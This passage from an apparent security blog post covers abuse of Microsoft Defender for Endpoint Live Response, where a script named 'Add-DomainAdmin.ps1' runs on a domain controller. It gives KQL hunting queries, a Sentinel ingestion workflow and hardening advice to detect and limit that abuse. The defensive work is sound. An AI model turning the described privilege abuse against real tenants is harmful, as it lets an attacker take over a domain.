                    "startTime": "2023-03-18T21:04:01.92Z",
                    "endTime": "2023-03-18T21:04:04.693Z",
                    "commandStatus": "Completed",
                    "errors": [],
                    "command": {
                        "type": "RunScript",
                        "params": [
                            {
                                "key": "ScriptName",
                                "value": "Add-DomainAdmin.ps1"
                            }
                        ]
                    }
                }
            ],
            "troubleshootInfo": null
        }
}

Download link to get script output (RunScript) or file content (GetFile) can be requested (valid for 30 minutes) by the following API call:

https://api.securitycenter.microsoft.com/api/machineactions/ID/GetLiveResponseResultDownloadLink(index=0)

Unfortunately, the list of “Machine Action” seems to covers Live Response API activities only. Session operations from the Microsoft 365 Defender Portal UI seems not to be included!

Integration of Machine Action in Microsoft Sentinel

1. Create a logic app with a managed identity and assigned application permissions for Machine.Read.All. Choose a trigger for the workflow, like in this case a recurrence of 15 minutes.

2. At next, we create a step to initialize a variable to store the time stamp since last run. This helps us to have a ingest only the MachineAction Events since last run. Therefore, I am using the following expression:

    getPastTime(5, 'Minute')
   

   Unfortunately, there is no option to share a variable or parameter between the workflow runs which can be used. To my knowledge, this option is a pragmatic approach but not the smartest one. 😉

3. Access to the MDE API will be achieved by using a standard HTTP action. Consider to choosing the right authentication type (in this case, Managed Identity) and the filter to get only events since last run.

   Side Note: There is also pre-built “Get list of machine actions” from the “Microsoft Defender ATP” connector which also supports Managed Identity. Nevertheless, I preferred to use HTTP actions for more flexibility.

4. Finally, we add the “Send Data” action from “Azure Log Analytics Data Collector” to ingest the data to a custom table (named “machineActions”) in the Microsoft Sentinel workspace._

Overview of the Logic App to ingest the machineAction activities to Microsoft Sentinel.

Analytics Rule and Hunting Query

In this sample, the built-in Watchlist “High Value Assets” will be used for tagging Control plane/Tier0-related assets:

The following KQL query combines this tagging with events from custom table which stores all Machine Action events:

let Tier0Assets = (_GetWatchlist('HighValueAssets')
    | where ['Tags'] == "Tier0" | extend computerDnsName = ['Asset FQDN']);   
machineActions_CL
| mv-expand parse_json(value_s)
| where value_s.type == "LiveResponse"
| evaluate bag_unpack(value_s)
| join kind=inner (Tier0Assets) on $left.computerDnsName == $right.computerDnsName
| project TimeGenerated, id, type, status, commands, computerDnsName, Tags, requestor, requestorComment

MachineAction events will be correlated with classification of “High Value Assets” which allows to filter for Tier0 assets

Timeline and hunting queries to get insights from live response commands

Insights of the live response activities are visible in the timeline of the affected devices. You will also find a dedicated “Action Type” and entry with the name “Event of type [LiveResponseCommand] observed on device” in this view.

Events from Live Response activities on domain controller to create a domain admin account

The following advanced hunting query can be used to get details about the SenseIR service from initializing until starting the PowerShell process.

union DeviceProcessEvents,DeviceNetworkEvents,DeviceFileEvents,DeviceEvents
| where InitiatingProcessFileName == "SenseIR.exe" and InitiatingProcessAccountName == "system"
| project Timestamp, DeviceName, ActionType, FileName, RemoteUrl, InitiatingProcessAccountSid, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessParentFileName, InitiatingProcessParentId

List of audited events during establishing connection to Live Response session and creating script file

Details of events are showing process tree on initialized session

Another KQL query allows to start hunting on other processes which has been created by the SenseIR service:

union DeviceProcessEvents
| where InitiatingProcessParentFileName == "SenseIR.exe" or InitiatingProcessParentFileName == "MsSense.exe"
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, ProcessCommandLine, ProcessId, InitiatingProcessParentId, InitiatingProcessParentFileName

Command line details of using “net” is visible in relation of created process by SenseIR

Windows Events from local device

Both related MDE services are creating event entries and are available as provider in the Windows Event Log:

• Microsoft-Windows-SENSE: Event of initializing SenseIR seems to be audited

  

• Microsoft-Windows-SenseIR: The listed connection details cover “Action Id” which can be used for correlation to Transcript.

  

The following two log sources can be integrated into Microsoft Sentinel Workspace by using Azure Monitor Agent.

Which mitigation steps could be applied?

Overview of mitigations and considerations to secure privileges and access for Live Response

Live Response options

Live Response is an especially useful and essential feature for incident investigation. Therefore, I would not recommend to disabling this one. Nevertheless, you should review if it is needed to allow execution of unsigned scripts. The related setting can be found on the “Advanced Feature” blade:

Scoped permissions and isolated Control Plane (Tier0) assets

It’s necessary to implement a scoped permission model for Microsoft 365 Defender (in my opinion). All privileged users and workload identities with unscoped permission should be considered as Control Plane (Tier0) users. This includes all members of “Security Administrator” role and Service Principals with API Permissions. It is important to reduce the numbers of these high-privileged principals and implement a particular monitoring for these privileged identities.

I can recommend to creating “Device Groups” which helps to restrict and select groups of privileged users which should have access to the included devices. In addition, role-assignable groups should be used to protect assigned users and the group objects from other directory roles.

Configuration of Device Groups (based Enterprise Access Model) which are assigned to related administrators by using role-assignable groups.

Dedicated custom roles with Live Response permissions

As already described, custom roles can be created to include/exclude permissions for Live Response. I would recommend to having dedicated roles for assigning these sensitive permissions.

Dedicated role (Security Responder) with custom permissions on using Basic and Advanced live response. This sensitive role could be assigned to a role-assignable group with enabled Just-in-Time access (Azure PIM for Groups) and approval process

Monitoring of Live Response activities

There are a couple of data sources which can be used to create alerts in case of Live Response activities (e.g., SenseIR process events or initialized connections) on Tier0 assets. Timeline allows to get a comprehensive view on executed commands and modified files which should be particularly reviewed after detection of established Live Response sessions.